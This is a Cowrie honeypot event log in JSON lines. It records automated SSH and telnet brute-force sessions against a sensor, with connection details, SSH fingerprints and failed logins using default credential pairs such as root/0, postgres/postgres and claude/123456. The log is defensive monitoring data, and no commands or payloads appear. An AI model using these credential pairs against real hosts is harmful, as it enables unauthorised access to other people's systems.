{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.676959Z","src_ip":"176.65.132.129","session":"c49aea8b1b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:15.921840Z","src_ip":"176.65.132.129","session":"c49aea8b1b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.41840887069702,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:16.049100Z","src_ip":"45.58.127.90","session":"0bfe31a6a832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:17.006769Z","src_ip":"176.65.132.129","session":"c49aea8b1b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56302,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfc92f962e28","protocol":"ssh","message":"New connection: 176.65.132.129:56302 (159.203.135.109:22) [session: cfc92f962e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:19.044857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:19.049912Z","src_ip":"176.65.132.129","session":"cfc92f962e28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:19.135527Z","src_ip":"176.65.132.129","session":"cfc92f962e28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:19.382179Z","src_ip":"176.65.132.129","session":"cfc92f962e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:20.467002Z","src_ip":"176.65.132.129","session":"cfc92f962e28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.0334107875824,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:21.119446Z","src_ip":"45.58.127.90","session":"be19f9554519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2a1651ef9a","protocol":"ssh","message":"New connection: 176.65.132.129:56314 (159.203.135.109:22) [session: ab2a1651ef9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.302202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.306702Z","src_ip":"176.65.132.129","session":"ab2a1651ef9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.388565Z","src_ip":"176.65.132.129","session":"ab2a1651ef9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49586,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa442e7f5a5f","protocol":"ssh","message":"New connection: 172.237.20.62:49586 (159.203.135.109:22) [session: fa442e7f5a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.600265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.605148Z","src_ip":"172.237.20.62","session":"fa442e7f5a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.633782Z","src_ip":"176.65.132.129","session":"ab2a1651ef9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:22.768371Z","src_ip":"172.237.20.62","session":"fa442e7f5a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:23.252111Z","src_ip":"172.237.20.62","session":"fa442e7f5a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:23.835666Z","src_ip":"176.65.132.129","session":"ab2a1651ef9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:24.424356Z","src_ip":"172.237.20.62","session":"fa442e7f5a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56334,"dst_ip":"159.203.135.109","dst_port":22,"session":"a538043da6bc","protocol":"ssh","message":"New connection: 176.65.132.129:56334 (159.203.135.109:22) [session: a538043da6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:25.552269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:25.558170Z","src_ip":"176.65.132.129","session":"a538043da6bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:25.640810Z","src_ip":"176.65.132.129","session":"a538043da6bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:25.888074Z","src_ip":"176.65.132.129","session":"a538043da6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:26.972847Z","src_ip":"176.65.132.129","session":"a538043da6bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3567cd12d9","protocol":"telnet","message":"New connection: 45.58.127.90:33546 (10.17.0.5:23) [session: 7f3567cd12d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:27.691981Z"}
{"eventid":"cowrie.session.closed","duration":37.78262948989868,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:27.787378Z","src_ip":"45.58.127.90","session":"d0d9efd9989a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.99222493171692,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:28.863333Z","src_ip":"45.58.127.90","session":"6082c483f2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51080,"dst_ip":"159.203.135.109","dst_port":22,"session":"05eab2c728b4","protocol":"ssh","message":"New connection: 176.65.132.129:51080 (159.203.135.109:22) [session: 05eab2c728b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:28.887772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:28.892084Z","src_ip":"176.65.132.129","session":"05eab2c728b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:28.974233Z","src_ip":"176.65.132.129","session":"05eab2c728b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:29.221182Z","src_ip":"176.65.132.129","session":"05eab2c728b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:30.306129Z","src_ip":"176.65.132.129","session":"05eab2c728b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43608,"dst_ip":"10.17.0.5","dst_port":23,"session":"de782659060d","protocol":"telnet","message":"New connection: 45.58.127.90:43608 (10.17.0.5:23) [session: de782659060d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:30.610390Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51112,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1070460406","protocol":"ssh","message":"New connection: 176.65.132.129:51112 (159.203.135.109:22) [session: 6e1070460406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:32.198698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:32.203047Z","src_ip":"176.65.132.129","session":"6e1070460406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:32.289969Z","src_ip":"176.65.132.129","session":"6e1070460406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:32.539212Z","src_ip":"176.65.132.129","session":"6e1070460406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34882,"dst_ip":"159.203.135.109","dst_port":22,"session":"36ee899b8f8f","protocol":"ssh","message":"New connection: 172.237.20.62:34882 (159.203.135.109:22) [session: 36ee899b8f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:33.563136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:33.567769Z","src_ip":"172.237.20.62","session":"36ee899b8f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:33.624975Z","src_ip":"176.65.132.129","session":"6e1070460406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:33.728822Z","src_ip":"172.237.20.62","session":"36ee899b8f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:34.212943Z","src_ip":"172.237.20.62","session":"36ee899b8f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:35.383538Z","src_ip":"172.237.20.62","session":"36ee899b8f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51116,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c9feca04a1a","protocol":"ssh","message":"New connection: 176.65.132.129:51116 (159.203.135.109:22) [session: 6c9feca04a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:35.478607Z"}
